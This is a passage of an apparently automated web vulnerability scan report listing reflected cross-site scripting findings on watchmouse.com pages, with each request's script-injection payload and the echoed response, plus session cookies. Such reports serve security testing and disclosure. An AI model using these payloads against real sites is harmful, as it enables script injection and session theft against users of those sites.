Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:28 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-073bf9c9d846f8c7af3b8c97baa303d5"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13073

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en9592d"><script>alert(1)</script>b63bab14314/dnstool.php" method="post">
...[SNIP]...

1.425. http://www.watchmouse.com/en/dnstool.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/dnstool.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6f4b5"><script>alert(1)</script>24304328954 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/dnstool.php6f4b5"><script>alert(1)</script>24304328954 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:29 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-1925403abb8e671cf92d9c02a293d684"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13046

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/dnstool.php6f4b5"><script>alert(1)</script>24304328954" method="post">
...[SNIP]...

1.426. http://www.watchmouse.com/en/dnstool.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/dnstool.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e54b0"><script>alert(1)</script>735acd9f680 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/dnstool.php?e54b0"><script>alert(1)</script>735acd9f680=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:19 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-4922853b270660a6dc0653474470f570"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 16971

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/dnstool.php?e54b0"><script>alert(1)</script>735acd9f680=1" method="post">
...[SNIP]...

1.427. http://www.watchmouse.com/en/extensions.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/extensions.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a3535"><script>alert(1)</script>0785e62a94a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /ena3535"><script>alert(1)</script>0785e62a94a/extensions.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:13 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-e3c1b9c4b1a76d36deb29788a3f24809"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13100

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/ena3535"><script>alert(1)</script>0785e62a94a/extensions.php" method="post">
...[SNIP]...

1.428. http://www.watchmouse.com/en/extensions.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/extensions.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 918c7"><script>alert(1)</script>80019ed55a2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/extensions.php918c7"><script>alert(1)</script>80019ed55a2 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:16 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-cf661187c540e58bcd8c1549a56a86d6"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13073

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/extensions.php918c7"><script>alert(1)</script>80019ed55a2" method="post">
...[SNIP]...

1.429. http://www.watchmouse.com/en/extensions.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/extensions.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c17c4"><script>alert(1)</script>6b0c72a87db was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/extensions.php?c17c4"><script>alert(1)</script>6b0c72a87db=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:11 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-2d64b4c2844e5fe15aa9d4a34853a4a5"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 31886

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/extensions.php?c17c4"><script>alert(1)</script>6b0c72a87db=1" method="post">
...[SNIP]...

1.430. http://www.watchmouse.com/en/fact_sheet.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/fact_sheet.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2907c"><script>alert(1)</script>72bd7cc1f73 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en2907c"><script>alert(1)</script>72bd7cc1f73/fact_sheet.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:28 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-51669068dd7c82ba7a3d2baea93931fd"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13100

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en2907c"><script>alert(1)</script>72bd7cc1f73/fact_sheet.php" method="post">
...[SNIP]...

1.431. http://www.watchmouse.com/en/fact_sheet.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/fact_sheet.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7ec8b"><script>alert(1)</script>9f4bc5d9602 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/fact_sheet.php7ec8b"><script>alert(1)</script>9f4bc5d9602 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:29 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-a1c8f0cdfa54a7b41d8ffd2a043b6d3b"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13073

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/fact_sheet.php7ec8b"><script>alert(1)</script>9f4bc5d9602" method="post">
...[SNIP]...

1.432. http://www.watchmouse.com/en/fact_sheet.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/fact_sheet.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d7cf0"><script>alert(1)</script>4f05880185b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/fact_sheet.php?d7cf0"><script>alert(1)</script>4f05880185b=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:26 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-0d08ba2ec4ba7ab2a39cf841937838d2"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 19713

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/fact_sheet.php?d7cf0"><script>alert(1)</script>4f05880185b=1" method="post">
...[SNIP]...

1.433. http://www.watchmouse.com/en/faq.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/faq.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 93a35"><script>alert(1)</script>18eb829f328 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en93a35"><script>alert(1)</script>18eb829f328/faq.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:22 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-ad9b0f0a23b1abe07f544e8b8a9c62ac"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13037

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en93a35"><script>alert(1)</script>18eb829f328/faq.php" method="post">
...[SNIP]...

1.434. http://www.watchmouse.com/en/faq.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/faq.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 164ff"><script>alert(1)</script>38a62c2deed was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/faq.php164ff"><script>alert(1)</script>38a62c2deed HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:29 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-241840722d5252f261c6e7d81b15c4bd"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13010

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/faq.php164ff"><script>alert(1)</script>38a62c2deed" method="post">
...[SNIP]...

1.435. http://www.watchmouse.com/en/faq.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/faq.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8686e"><script>alert(1)</script>1bf3b04d33c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/faq.php?8686e"><script>alert(1)</script>1bf3b04d33c=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:06:06 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-cb2b491aea069184ee4baf2e11402502"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 14416

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/faq.php?8686e"><script>alert(1)</script>1bf3b04d33c=1" method="post">
...[SNIP]...

1.436. http://www.watchmouse.com/en/feature/api-and-web-services-cloud-monitoring.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/api-and-web-services-cloud-monitoring.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 487ba"><script>alert(1)</script>c0c36788f3f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en487ba"><script>alert(1)</script>c0c36788f3f/feature/api-and-web-services-cloud-monitoring.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:50 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-9f6c6655762e1bc43a3cc757d2cb5ebc"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13424

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en487ba"><script>alert(1)</script>c0c36788f3f/feature/api-and-web-services-cloud-monitoring.html" method="post">
...[SNIP]...

1.437. http://www.watchmouse.com/en/feature/api-and-web-services-cloud-monitoring.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/api-and-web-services-cloud-monitoring.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b192a"><script>alert(1)</script>4a903a5d4a5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/featureb192a"><script>alert(1)</script>4a903a5d4a5/api-and-web-services-cloud-monitoring.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:51 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-ef2f8e97c1e40f40296fb0d823c06963"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13397

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/featureb192a"><script>alert(1)</script>4a903a5d4a5/api-and-web-services-cloud-monitoring.html" method="post">
...[SNIP]...

1.438. http://www.watchmouse.com/en/feature/api-and-web-services-cloud-monitoring.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/feature/api-and-web-services-cloud-monitoring.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload beb54"><script>alert(1)</script>dc0b88f9433 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/feature/api-and-web-services-cloud-monitoring.htmlbeb54"><script>alert(1)</script>dc0b88f9433 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
